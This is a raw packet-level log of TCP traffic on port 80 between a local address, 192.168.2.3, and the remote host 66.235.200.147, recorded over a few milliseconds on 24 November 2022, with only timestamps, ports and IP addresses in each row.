Nov 24, 2022 16:57:36.849797964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849819899 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849821091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.849867105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.849920988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850074053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850102901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850122929 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850128889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850155115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850174904 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850181103 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850208998 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850231886 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850253105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850259066 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850270987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850286007 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850310087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850332022 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850336075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850362062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850387096 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850405931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850410938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850428104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850441933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850466967 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850487947 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850491047 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850516081 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850541115 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850558043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850565910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850580931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850619078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850645065 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850688934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850688934 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850712061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850749016 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850755930 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850789070 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850791931 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850816965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850845098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850860119 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850872040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850930929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850941896 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.850960970 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.850991011 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851020098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851037025 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851048946 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851078033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851098061 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851111889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851124048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851144075 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851172924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851191044 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851203918 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851233006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851249933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851263046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851293087 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851321936 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851336002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851352930 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851382017 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851398945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851411104 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851418018 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851443052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851470947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851489067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851500988 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851593018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851623058 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851640940 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851653099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851675034 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851682901 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851713896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851732016 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851741076 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851769924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851799965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851820946 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851829052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851847887 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851861954 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851893902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851912975 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851922989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851963043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.851983070 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.851990938 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852019072 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852046013 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852066994 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852073908 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852086067 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852106094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852133989 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852159977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852176905 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852189064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852210999 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852236986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852240086 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852258921 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852267027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852293968 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852320910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852338076 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852349043 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852361917 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852377892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852406025 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852432966 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852447987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852461100 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852484941 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852488995 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852516890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852545977 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852565050 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852575064 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852586031 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852603912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852632046 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852653980 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852659941 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852688074 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852715015 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852735043 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852742910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852756977 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852771997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852799892 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852819920 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852828026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852857113 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852879047 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852884054 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852912903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852938890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852961063 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852967978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.852989912 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.852998018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853025913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853043079 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853061914 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853089094 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853111029 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853118896 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853147984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853174925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853192091 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853204012 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853215933 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853231907 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853260040 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853276968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853286982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853316069 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853329897 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853343964 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853370905 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853398085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853413105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853425980 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853441000 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853455067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853482008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853508949 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853509903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853535891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853564024 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853580952 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853590965 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853605032 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853620052 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853647947 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853662968 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853674889 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853703022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853729963 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853753090 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853760004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853774071 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853789091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853816986 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853842974 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853843927 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853872061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853899002 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853925943 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853924990 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853943110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.853952885 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.853981018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854007006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854021072 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854032993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854058981 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854077101 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854087114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854094028 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854116917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854145050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854163885 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854175091 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854206085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854234934 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854249954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854264021 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854294062 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854306936 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854322910 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854336023 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854351997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854382038 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854393959 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854412079 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854443073 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854461908 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854473114 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854502916 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854531050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854545116 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854562044 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854589939 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854613066 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854625940 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854644060 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854651928 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854679108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854702950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854703903 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854727983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854751110 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854754925 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854780912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854806900 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854826927 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854834080 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854846954 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854860067 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854899883 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854926109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854945898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.854952097 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.854978085 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855001926 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855026960 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855051041 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855073929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855101109 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855124950 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855149984 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855155945 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855175018 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855199099 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855221033 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855225086 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855249882 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855268002 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855276108 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855302095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855318069 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855326891 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855353117 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855356932 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855377913 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855401993 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855405092 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855427027 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855452061 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855477095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855478048 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855501890 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855526924 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855551004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855554104 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855576992 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855590105 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855602026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855627060 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855650902 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855674982 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855693102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855696917 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855720997 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855741978 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855760098 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855763912 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855784893 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855798006 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855802059 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855818033 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855834961 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855842113 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855850935 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855870008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855885983 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855890036 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855904102 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855921030 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855928898 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855937004 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855953932 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855971098 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.855974913 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.855988026 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856004953 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856021881 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856029987 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856040001 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856056929 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856072903 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856076956 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856091022 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856111050 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856122971 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856148005 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856167078 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856184006 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856200933 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856219053 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856234074 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856237888 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856256008 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856285095 CET	80	49713	66.235.200.147	192.168.2.3
Nov 24, 2022 16:57:36.856290102 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856333017 CET	49713	80	192.168.2.3	66.235.200.147
Nov 24, 2022 16:57:36.856339931 CET	80	49713	66.235.200.147	192.168.2.3
